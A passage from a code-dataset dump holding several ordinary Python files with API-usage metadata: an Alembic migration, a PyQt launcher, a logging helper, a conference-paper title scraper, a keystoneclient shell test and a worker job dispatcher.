38, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 39, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 39, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 40, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 40, "usage_type": "call"}, {"api_name": "django.conf.settings.DEBUG", "line_number": 43, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 43, "usage_type": "name"}, {"api_name": "django.conf.urls.static.static", "line_number": 44, "usage_type": "call"}, {"api_name": "django.conf.settings.MEDIA_URL", "line_number": 44, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 44, "usage_type": "name"}, {"api_name": "django.conf.settings.MEDIA_ROOT", "line_number": 45, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 45, "usage_type": "name"}]} +{"seq_id": "244621529", "text": "\"\"\"Add tables aaaa\n\nRevision ID: d87761df646f\nRevises: 8cfe5befdaec\nCreate Date: 2016-07-21 00:21:30.939974\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = 'd87761df646f'\ndown_revision = '8cfe5befdaec'\nbranch_labels = None\ndepends_on = None\n\nfrom alembic import op\nimport sqlalchemy as sa\n\n\ndef upgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.create_table('server',\n sa.Column('id', sa.BigInteger(), autoincrement=False, nullable=False),\n sa.Column('name', sa.String(), nullable=True),\n sa.Column('owner_id', sa.Integer(), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('user',\n sa.Column('id', sa.BigInteger(), autoincrement=False, nullable=False),\n sa.Column('created_at', sa.DateTime(), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('member',\n sa.Column('id', sa.BigInteger(), nullable=False),\n sa.Column('joined_at', sa.DateTime(), nullable=True),\n sa.Column('user_id', sa.Integer(), nullable=True),\n sa.Column('server_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['server_id'], ['server.id'], ),\n sa.ForeignKeyConstraint(['user_id'], ['user.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('message',\n sa.Column('id', sa.BigInteger(), autoincrement=False, nullable=False),\n sa.Column('content', sa.String(), nullable=True),\n sa.Column('deleted', sa.Boolean(), nullable=True),\n sa.Column('channel_id', sa.Integer(), nullable=True),\n sa.Column('member_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['channel_id'], ['channel.id'], ),\n sa.ForeignKeyConstraint(['member_id'], ['member.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('nickname_change',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('before', sa.String(), nullable=True),\n sa.Column('after', sa.String(), nullable=True),\n sa.Column('member_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['member_id'], ['member.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('username_change',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('before', sa.String(), nullable=True),\n sa.Column('after', sa.String(), nullable=True),\n sa.Column('user_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['user_id'], ['user.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.add_column('channel', sa.Column('server_id', sa.Integer(), nullable=True))\n op.create_foreign_key(None, 'channel', 'server', ['server_id'], ['id'])\n ### end Alembic commands ###\n\n\ndef downgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.drop_constraint(None, 'channel', type_='foreignkey')\n op.drop_column('channel', 'server_id')\n op.drop_table('username_change')\n op.drop_table('user')\n op.drop_table('server')\n op.drop_table('nickname_change')\n op.drop_table('message')\n op.drop_table('member')\n ### end Alembic commands ###\n", "sub_path": "migrations/versions/d87761df646f_add_tables_aaaa.py", "file_name": "d87761df646f_add_tables_aaaa.py", "file_ext": "py", "file_size_in_byte": 3035, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "alembic.op.create_table", "line_number": 21, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 21, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 22, "usage_type": "call"}, {"api_name": "sqlalchemy.BigInteger", "line_number": 22, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 23, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 23, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 24, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 24, "usage_type": "call"}, {"api_name": "sqlalchemy.PrimaryKeyConstraint", "line_number": 25, "usage_type": "call"}, {"api_name": "alembic.op.create_table", "line_number": 27, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 27, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 28, "usage_type": "call"}, {"api_name": "sqlalchemy.BigInteger", "line_number": 28, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 29, "usage_type": "call"}, {"api_name": "sqlalchemy.DateTime", "line_number": 29, "usage_type": "call"}, {"api_name": "sqlalchemy.PrimaryKeyConstraint", "line_number": 30, "usage_type": "call"}, {"api_name": "alembic.op.create_table", "line_number": 32, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 32, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 33, "usage_type": "call"}, {"api_name": "sqlalchemy.BigInteger", "line_number": 33, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 34, "usage_type": "call"}, {"api_name": "sqlalchemy.DateTime", "line_number": 34, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 35, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 35, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 36, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 36, "usage_type": "call"}, {"api_name": "sqlalchemy.ForeignKeyConstraint", "line_number": 37, "usage_type": "call"}, {"api_name": "sqlalchemy.ForeignKeyConstraint", "line_number": 38, "usage_type": "call"}, {"api_name": "sqlalchemy.PrimaryKeyConstraint", "line_number": 39, "usage_type": "call"}, {"api_name": "alembic.op.create_table", "line_number": 41, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 41, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 42, "usage_type": "call"}, {"api_name": "sqlalchemy.BigInteger", "line_number": 42, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 43, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 43, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 44, "usage_type": "call"}, {"api_name": "sqlalchemy.Boolean", "line_number": 44, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 45, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 45, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 46, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 46, "usage_type": "call"}, {"api_name": "sqlalchemy.ForeignKeyConstraint", "line_number": 47, "usage_type": "call"}, {"api_name": "sqlalchemy.ForeignKeyConstraint", "line_number": 48, "usage_type": "call"}, {"api_name": "sqlalchemy.PrimaryKeyConstraint", "line_number": 49, "usage_type": "call"}, {"api_name": "alembic.op.create_table", "line_number": 51, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 51, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 52, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 52, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 53, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 53, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 54, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 54, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 55, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 55, "usage_type": "call"}, {"api_name": "sqlalchemy.ForeignKeyConstraint", "line_number": 56, "usage_type": "call"}, {"api_name": "sqlalchemy.PrimaryKeyConstraint", "line_number": 57, "usage_type": "call"}, {"api_name": "alembic.op.create_table", "line_number": 59, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 59, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 60, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 60, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 61, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 61, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 62, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 62, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 63, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 63, "usage_type": "call"}, {"api_name": "sqlalchemy.ForeignKeyConstraint", "line_number": 64, "usage_type": "call"}, {"api_name": "sqlalchemy.PrimaryKeyConstraint", "line_number": 65, "usage_type": "call"}, {"api_name": "alembic.op.add_column", "line_number": 67, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 67, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 67, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 67, "usage_type": "call"}, {"api_name": "alembic.op.create_foreign_key", "line_number": 68, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 68, "usage_type": "name"}, {"api_name": "alembic.op.drop_constraint", "line_number": 74, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 74, "usage_type": "name"}, {"api_name": "alembic.op.drop_column", "line_number": 75, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 75, "usage_type": "name"}, {"api_name": "alembic.op.drop_table", "line_number": 76, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 76, "usage_type": "name"}, {"api_name": "alembic.op.drop_table", "line_number": 77, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 77, "usage_type": "name"}, {"api_name": "alembic.op.drop_table", "line_number": 78, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 78, "usage_type": "name"}, {"api_name": "alembic.op.drop_table", "line_number": 79, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 79, "usage_type": "name"}, {"api_name": "alembic.op.drop_table", "line_number": 80, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 80, "usage_type": "name"}, {"api_name": "alembic.op.drop_table", "line_number": 81, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 81, "usage_type": "name"}]} +{"seq_id": "85950934", "text": "from PyQt5.QtWidgets import QApplication\r\nfrom function.ui_function.ui_dialog_readXfile import ChildWin\r\n\r\n\r\ndef main():\r\n import sys\r\n app = QApplication(sys.argv)\r\n window = ChildWin()\r\n window.show()\r\n app.exec_()\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n", "sub_path": "main/main_readXfile.py", "file_name": "main_readXfile.py", "file_ext": "py", "file_size_in_byte": 277, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 7, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 7, "usage_type": "attribute"}, {"api_name": "function.ui_function.ui_dialog_readXfile.ChildWin", "line_number": 8, "usage_type": "call"}]} +{"seq_id": "245692612", "text": "import logging\nfrom sima import config\nlogging.basicConfig(level=logging.DEBUG, format='[%(levelname)s] %(message)s')\n\nmy_config = config.Config()\nerror = my_config.setconfig()\n\nif type(error) is str:\n log(3, error)\n sys.exit(1)\n\nif not my_config.debug_mode:\n\tlogging.getLogger(\"requests\").setLevel(logging.WARNING)\n\tlogging.getLogger(\"urllib3\").setLevel(logging.WARNING)\n\nGREEN = ('\\033[92m') #green\nYELLOW = ('\\033[93m') #yellow\nRED = ('\\033[91m') #red\nEND = ('\\033[0m') #reset\n\ndef log(code, msg):\n\tmsg = str(msg)\n\tif code == 0 and my_config.debug_mode:\n\t\tlogging.debug(msg)\n\tif code == 1:\n\t\tlogging.info(GREEN + msg + END)\n\tif code == 2:\n\t\tlogging.warning(YELLOW + msg + END)\n\tif code == 3:\n\t\tlogging.error(RED + msg + END)", "sub_path": "SimaSLI/sima/logger.py", "file_name": "logger.py", "file_ext": "py", "file_size_in_byte": 741, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "logging.basicConfig", "line_number": 3, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 3, "usage_type": "attribute"}, {"api_name": "sima.config.Config", "line_number": 5, "usage_type": "call"}, {"api_name": "sima.config", "line_number": 5, "usage_type": "name"}, {"api_name": "logging.getLogger", "line_number": 13, "usage_type": "call"}, {"api_name": "logging.WARNING", "line_number": 13, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 14, "usage_type": "call"}, {"api_name": "logging.WARNING", "line_number": 14, "usage_type": "attribute"}, {"api_name": "logging.debug", "line_number": 24, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 26, "usage_type": "call"}, {"api_name": "logging.warning", "line_number": 28, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 30, "usage_type": "call"}]} +{"seq_id": "593037424", "text": "# -*- coding: utf-8 -*-\r\n# @Time : 9:55 2020/10/20 \r\n# @Author : Haohao Song\r\n# @Email : songhaohao2018@cqu.edu.cn\r\n# @File : ijcai_spider.py\r\nimport json\r\nfrom urllib import request\r\n\r\nimport lxml.html as lh\r\n\r\nresponse=request.urlopen('http://static.ijcai.org/2020-accepted_papers.html')\r\ntext_html=response.read().decode('utf8')\r\n\r\nhtml=lh.document_fromstring(text_html)\r\nsections=html.xpath('/html/body/main/section')\r\n\r\nijcai20_accepted_dict=dict()\r\nfor one_section in sections:\r\n section_title=one_section.xpath('./div/h3/text()')[0]\r\n section_title=section_title.replace('\\'','').strip()\r\n\r\n ijcai20_accepted_dict[section_title]=list()\r\n\r\n print(section_title)\r\n\r\n all_papers=one_section.xpath('./div/li')\r\n\r\n for one_paper in all_papers:\r\n one_paper_title=one_paper.xpath('./strong/text()')[0]\r\n one_paper_title=one_paper_title.replace('\\'','').strip()\r\n\r\n one_paper_authors=one_paper.xpath('./em/text()')[0]\r\n one_paper_authors=one_paper_authors.replace('\\'','').strip()\r\n\r\n ijcai20_accepted_dict[section_title].append((one_paper_title,one_paper_authors))\r\n\r\n print(one_paper_title)\r\n print(one_paper_authors)\r\n\r\n\r\nwith open('./data/ijcai20.json','w',encoding='utf8') as fw:\r\n fw.write(json.dumps(ijcai20_accepted_dict,ensure_ascii=False))\r\n\r\n", "sub_path": "Titles/20/ijcai/ijcai_tilte_collector.py", "file_name": "ijcai_tilte_collector.py", "file_ext": "py", "file_size_in_byte": 1331, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "urllib.request.urlopen", "line_number": 11, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 11, "usage_type": "name"}, {"api_name": "lxml.html.document_fromstring", "line_number": 14, "usage_type": "call"}, {"api_name": "lxml.html", "line_number": 14, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 42, "usage_type": "call"}]} +{"seq_id": "59190716", "text": "import os\nimport mock\nimport httplib2\n\nfrom keystoneclient import shell as x7_shell\nfrom keystoneclient import exceptions\nfrom tests import utils\n\n\nclass ShellTest(utils.TestCase):\n\n # Patch os.environ to avoid required auth info.\n def setUp(self):\n global _old_env\n fake_env = {\n 'OS_USERNAME': 'username',\n 'OS_PASSWORD': 'password',\n 'OS_TENANT_ID': 'tenant_id',\n 'OS_AUTH_URL': 'http://127.0.0.1:5000/v2.0',\n }\n _old_env, os.environ = os.environ, fake_env.copy()\n\n # Make a fake shell object, a helping wrapper to call it, and a quick\n # way of asserting that certain API calls were made.\n global shell, _shell, assert_called, assert_called_anytime\n _shell = x7_shell.X7IdentityShell()\n shell = lambda cmd: _shell.main(cmd.split())\n\n def tearDown(self):\n global _old_env\n os.environ = _old_env\n\n def test_help_unknown_command(self):\n self.assertRaises(exceptions.CommandError, shell, 'help foofoo')\n\n def test_debug(self):\n httplib2.debuglevel = 0\n shell('--debug help')\n assert httplib2.debuglevel == 1\n", "sub_path": "x7-src-client/python-keystoneclient/tests/test_shell.py", "file_name": "test_shell.py", "file_ext": "py", "file_size_in_byte": 1172, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "tests.utils.TestCase", "line_number": 10, "usage_type": "attribute"}, {"api_name": "tests.utils", "line_number": 10, "usage_type": "name"}, {"api_name": "os.environ", "line_number": 21, "usage_type": "attribute"}, {"api_name": "keystoneclient.shell.X7IdentityShell", "line_number": 26, "usage_type": "call"}, {"api_name": "keystoneclient.shell", "line_number": 26, "usage_type": "name"}, {"api_name": "os.environ", "line_number": 31, "usage_type": "attribute"}, {"api_name": "keystoneclient.exceptions.CommandError", "line_number": 34, "usage_type": "attribute"}, {"api_name": "keystoneclient.exceptions", "line_number": 34, "usage_type": "name"}, {"api_name": "httplib2.debuglevel", "line_number": 37, "usage_type": "attribute"}, {"api_name": "httplib2.debuglevel", "line_number": 39, "usage_type": "attribute"}]} +{"seq_id": "102509607", "text": "#!/usr/bin/env python3.6\n# -*- coding: utf-8 -*-\n# tim.lansen@gmail.com\n\n# Workers monitor\n# Periodically pings workers, checks their statuses and unregisters in case of pong timeout\n\nimport time\nfrom modules.models import Task, Job, Node\nfrom modules.utils.log_console import Logger\nfrom modules.utils.database import DBInterface\n\n\n# 1. Get all NEW jobs\n# 1. Get all nodes -> nodes1\n# 3. Offer jobs to idle nodes\n# 2. Send 'ping' notifications\n# 3. Pause\n# 4. Get all nodes -> list2\n# 5. If list2[node].mtime - list1[node].mtime > timeout: remove node; remove it from list2\n# 6. list2 -> list1\n# 7. Goto 1\n\n\nMAX_PARALLEL_TASKS = 3\n\n\ndef dispatch(nodes, jobs):\n \"\"\"\n\n :param dobj: {'jobs': [jobs], 'nodes': [nodes], 'notifications': [notifications]}\n :return:\n \"\"\"\n notifications = []\n while len(jobs) and len(nodes):\n node = nodes.pop(-1)\n job = jobs.pop(0)\n # if test_job_condition(job):\n if not DBInterface.Job.set_status(job['guid'], Job.Status.OFFERED):\n Logger.debug('Failed to change job status\\n', Logger.LogLevel.LOG_WARNING)\n continue\n notifications.append([node['channel'], 'offer {}'.format(job['guid'])])\n if len(notifications):\n DBInterface.notify_list(notifications)\n\n\ndef run(period=5):\n def test_job_condition(_job_):\n # First, check dependencies\n _dog_ = _job_['dependsongroupid']\n if _dog_ is not None and _dog_ != '00000000-0000-0000-0000-000000000000':\n # Job depends on group\n # Request jobs included to the group and have status != FINISHED\n _jobs_ = DBInterface.get_records(\n 'Job',\n fields=['status'],\n cond=[\n \"'{}'=ANY(groupids)\".format(_dog_),\n \"guid<>'{}'\".format(_dog_),\n \"status<>{}\".format(Job.Status.FINISHED)\n ]\n )\n if len(_jobs_):\n return False\n # Check condition\n # if 'condition' in _job_:\n # _c_ = _job_['condition']\n # if _c_ is None:\n # return True\n return True\n\n def archive_job(uid):\n # TODO: Archive job\n # Remove job from DB\n Logger.debug('Archive job: {}\\n'.format(uid), Logger.LogLevel.LOG_NOTICE)\n # DBInterface.Job.delete(uid)\n\n while True:\n\n tasks = DBInterface.get_records('Task', fields=['guid'], status=Task.Status.EXECUTING, sort=['ctime'])\n task_slots = MAX_PARALLEL_TASKS - len(tasks)\n # Get idle nodes\n nodes = DBInterface.get_records('Node', fields=['guid', 'channel'], status=Node.Status.IDLE)\n\n for task in tasks:\n # Check if task have no pending jobs\n jobs = DBInterface.get_records(\n 'Job',\n fields=['guid'],\n status=[Job.Status.NEW, Job.Status.WAITING, Job.Status.OFFERED, Job.Status.EXECUTING, Job.Status.FAILED],\n cond=[\"task='{}'\".format(task['guid'])]\n )\n if len(jobs) == 0:\n # DBInterface.Task.set_status(task['guid'], Task.Status.FINISHED)\n continue\n\n # Get all NEW jobs, change their status to WAITING if condition test is True\n jobs = DBInterface.get_records('Job', fields=['guid', 'dependsongroupid', 'condition'], status=Job.Status.NEW, cond=[\"task='{}'\".format(task['guid'])])\n for job in jobs:\n if test_job_condition(job):\n DBInterface.Job.set_status(job['guid'], Job.Status.WAITING)\n\n # Monitor jobs: there must not be OFFERED jobs, FINISHED jobs must be archived, FAILED jobs must be relaunched\n jobs = DBInterface.get_records(\n 'Job',\n fields=['guid', 'status', 'fails', 'offers'],\n status=[Job.Status.OFFERED, Job.Status.FAILED]\n )\n for job in jobs:\n if job['status'] == Job.Status.OFFERED:\n # Something wrong happened during offer, reset status to WAITING\n DBInterface.Job.set_fields(job['guid'], {'status': Job.Status.WAITING, 'offers': job['offers'] + 1})\n elif job['status'] == Job.Status.FAILED:\n # Job execution failed, reset status to NEW\n DBInterface.Job.set_fields(job['guid'], {'status': Job.Status.NEW, 'offers': job['fails'] + 1})\n\n # Get waiting jobs\n task_jobs = DBInterface.get_records('Job', fields=['guid'], status=Job.Status.WAITING, cond=[\"task='{}'\".format(task['guid'])], sort=['priority'])\n dispatch(nodes, task_jobs)\n\n if task_slots > 0:\n tasks = DBInterface.get_records('Task', fields=['guid'], status=Task.Status.WAITING, sort=['priority', 'ctime'], limit=task_slots)\n for task in tasks:\n DBInterface.Task.set_status(task['guid'], Task.Status.EXECUTING)\n\n # Get all WAITING jobs sorted by priority and creation time, and IDLE nodes\n # jobs = DBInterface.get_records('Job', fields=['guid'], status=Job.Status.WAITING, sort=['priority', 'ctime'])\n\n # Monitor nodes\n nodes = DBInterface.get_records('Node', ['mtime', 'guid', 'channel'])\n if len(nodes):\n notifications = [[n['channel'], 'ping'] for n in nodes]\n DBInterface.notify_list(notifications)\n time.sleep(period)\n check = \"EXTRACT(EPOCH FROM AGE(localtimestamp, mtime))>{timeout}\".format(timeout=5*period)\n suspicious_nodes = DBInterface.get_records('Node', fields=['guid', 'job'], cond=[check])\n if len(suspicious_nodes):\n Logger.debug(\"Unregister node(s):\\n{}\\n\".format('\\n'.join([str(sn['guid']) for sn in suspicious_nodes])), Logger.LogLevel.LOG_WARNING)\n DBInterface.delete_records('Node', [sn['guid'] for sn in suspicious_nodes])\n Logger.debug(\"Check jobs were being executed on these nodes...\\n\", Logger.LogLevel.LOG_INFO)\n jobs = DBInterface.get_records(\n 'Job',\n fields=['guid', 'fails'],\n status=Job.Status.EXECUTING,\n # use str() for sn['job'] to convert UUID() to string\n cond=[\"guid=ANY('{{{}}}'::uuid[])\".format(','.join([str(sn['job']) for sn in suspicious_nodes if sn['job']]))]\n )\n for job in jobs:\n Logger.debug('Reset job {}\\n'.format(job['guid']), Logger.LogLevel.LOG_WARNING)\n DBInterface.Job.set_fields(job['guid'], {'status': Job.Status.NEW, 'offers': job['fails'] + 1})\n time.sleep(period)\n else:\n time.sleep(period)\n\n\nif __name__ == '__main__':\n run(1)\n", "sub_path": "backend/dispatcher.py", "file_name": "dispatcher.py", "file_ext": "py", "file_size_in_byte": 6791, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "modules.utils.database.DBInterface.Job.set_status", "line_number": 39, "usage_type": "call"}, {"api_name": "modules.utils.database.DBInterface.Job", "line_number": 39, "usage_type": "attribute"}, {"api_name": "modules.utils.database.DBInterface", "line_number": 39, "usage_type": "name"}, {"api_name": "modules.models.Job.Status", "line_number": 39, "usage_type": "attribute"}, {"api_name": "modules.models.Job", "line_number": 39, "usage_type": "name"}, {"api_name": "modules.utils.log_console.Logger.debug", "line_number": 40, "usage_type": "call"}, {"api_name": "modules.utils.log_console.Logger", "line_number": 40, "usage_type": "name"}, {"api_name": "modules.utils.log_console.Logger.LogLevel", "line_number": 40, "usage_type": "attribute"}, {"api_name": "modules.utils.database.DBInterface.notify_list", "line_number": 44, "usage_type": "call"}, {"api_name": "modules.utils.database.DBInterface", "line_number": 44, "usage_type": "name"}, {"api_name": "modules.utils.database.DBInterface.get_records", "line_number": 54, "usage_type": "call"}, {"api_name": "modules.utils.database.DBInterface", "line_number": 54, "usage_type": "name"}, {"api_name": "modules.models.Job.Status", "line_number": 60, "usage_type": "attribute"}, {"api_name": "modules.models.Job", "line_number": 60, "usage_type": "name"}, {"api_name": "modules.utils.log_console.Logger.debug", "line_number": 75, "usage_type": "call"}, {"api_name": "modules.utils.log_console.Logger", "line_number": 75, "usage_type": "name"}, {"api_name": "modules.utils.log_console.Logger.LogLevel", "line_number": 75, "usage_type": "attribute"}, {"api_name": "modules.utils.database.DBInterface.get_records", "line_number": 80, "usage_type": "call"}, {"api_name": "modules.utils.database.DBInterface", "line_number": 80, "usage_type": "name"}, {"api_name": "modules.models.Task.Status", "line_number": 80, "usage_type": "attribute"}, {"api_name": "modules.models.Task", "line_number": 80, "usage_type": "name"}, {"api_name": "modules.utils.database.DBInterface.get_records", "line_number": 83, "usage_type": "call"}, {"api_name": "modules.utils.database.DBInterface", "line_number": 83, "usage_type": "name"}, {"api_name": "modules.models.Node.Status", "line_number": 83, "usage_type": "attribute"}, {"api_name": "modules.models.Node", "line_number": 83, "usage_type": "name"}, {"api_name": "modules.utils.database.DBInterface.get_records", "line_number": 87, "usage_type": "call"}, {"api_name": "modules.utils.database.DBInterface", "line_number": 87, "usage_type": "name"}, {"api_name": "modules.models.Job.Status", "line_number": 90, "usage_type": "attribute"}, {"api_name": "modules.models.Job", "line_number": 90, "usage_type": "name"}, {"api_name": "modules.utils.database.DBInterface.get_records", "line_number": 98, "usage_type": "call"}, {"api_name": "modules.utils.database.DBInterface", "line_number": 98, "usage_type": "name"}, {"api_name": "modules.models.Job.Status", "line_number": 98, "usage_type": "attribute"}, {"api_name": "modules.models.Job", "line_number": 98, "usage_type": "name"}, {"api_name": "modules.utils.database.DBInterface.Job.set_status", "line_number": 101, "usage_type": "call"}, {"api_name": "modules.utils.database.DBInterface.Job", "line_number": 101, "usage_type": "attribute"}, {"api_name": "modules.utils.database.DBInterface", "line_number": 101, "usage_type": "name"}, {"api_name": "modules.models.Job.Status", "line_number": 101, "usage_type": "attribute"}, {"api_name": "modules.models.Job", "line_number": 101, "usage_type": "name"}, {"api_name": "modules.utils.database.DBInterface.get_records", "line_number": 104, "usage_type": "call"}, {"api_name": "modules.utils.database.DBInterface", "line_number": 104, "usage_type": "name"}, {"api_name": "modules.models.Job.Status", "line_number": 107, "usage_type": "attribute"}, {"api_name": "modules.models.Job", "line_number": 107, "usage_type": "name"}, {"api_name": "modules.models.Job.Status", "line_number": 110, "usage_type": "attribute"}, {"api_name": "modules.models.Job", "line_number": 110, "usage_type": "name"}, {"api_name": "modules.utils.database.DBInterface.Job.set_fields", "line_number": 112, "usage_type": "call"}, {"api_name": "modules.utils.database.DBInterface.Job", "line_number": 112, "usage_type": "attribute"}, {"api_name": "modules.utils.database.DBInterface", "line_number": 112, "usage_type": "name"}, {"api_name": "modules.models.Job.Status", "line_number": 112, "usage_type": "attribute"}, {"api_name": "modules.models.Job", "line_number": 112, "usage_type": "name"}, {"api_name": "modules.models.Job.Status", "line_number": 113, "usage_type": "attribute"}, {"api_name": "modules.models.Job", "line_number": 113, "usage_type": "name"}, {"api_name": "modules.utils.database.DBInterface.Job.set_fields", "line_number": 115, "usage_type": "call"}, {"api_name": "modules.utils.database.DBInterface.Job", "line_number": 115, "usage_type": "attribute"}, {"api_name": "modules.utils.database.DBInterface", "line_number": 115, "usage_type": "name"}, {"api_name": "modules.models.Job.Status", "line_number": 115, "usage_type": "attribute"}, {"api_name": "modules.models.Job", "line_number": 115, "usage_type": "name"}, {"api_name": "modules.utils.database.DBInterface.get_records", "line_number": 118, "usage_type": "call"}, {"api_name": "modules.utils.database.DBInterface", "line_number": 118, "usage_type": "name"}, {"api_name": "modules.models.Job.Status", "line_number": 118, "usage_type": "attribute"}, {"api_name": "modules.models.Job", "line_number": 118, "usage_type": "name"}, {"api_name": "modules.utils.database.DBInterface.get_records", "line_number": 122, "usage_type": "call"}, {"api_name": "modules.utils.database.DBInterface", "line_number": 122, "usage_type": "name"}, {"api_name": "modules.models.Task.Status", "line_number": 122, "usage_type": "attribute"}, {"api_name": "modules.models.Task", "line_number": 122, "usage_type": "name"}, {"api_name": "modules.utils.database.DBInterface.Task.set_status", "line_number": 124, "usage_type": "call"}, {"api_name": "modules.utils.database.DBInterface.Task", "line_number": 124, "usage_type": "attribute"}, {"api_name": "modules.utils.database.DBInterface", "line_number": 124, "usage_type": "name"}, {"api_name": "modules.models.Task.Status", "line_number": 124, "usage_type": "attribute"}, {"api_name": "modules.models.Task", "line_number": 124, "usage_type": "name"}, {"api_name": "modules.utils.database.DBInterface.get_records", "line_number": 130, "usage_type": "call"}, {"api_name": "modules.utils.database.DBInterface", "line_number": 130, "usage_type": "name"}, {"api_name": "modules.utils.database.DBInterface.notify_list", "line_number": 133, "usage_type": "call"}, {"api_name": "modules.utils.database.DBInterface", "line_number": 133, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 134, "usage_type": "call"}, {"api_name": "modules.utils.database.DBInterface.get_records", "line_number": 136, "usage_type": "call"}, {"api_name": "modules.utils.database.DBInterface", "line_number": 136, "usage_type": "name"}, {"api_name": "modules.utils.log_console.Logger.debug", "line_number": 138, "usage_type": "call"}, {"api_name": "modules.utils.log_console.Logger", "line_number": 138, "usage_type": "name"}, {"api_name": "modules.utils.log_console.Logger.LogLevel", "line_number": 138, "usage_type": "attribute"}, {"api_name": "modules.utils.database.DBInterface.delete_records", "line_number": 139, "usage_type": "call"}, {"api_name": 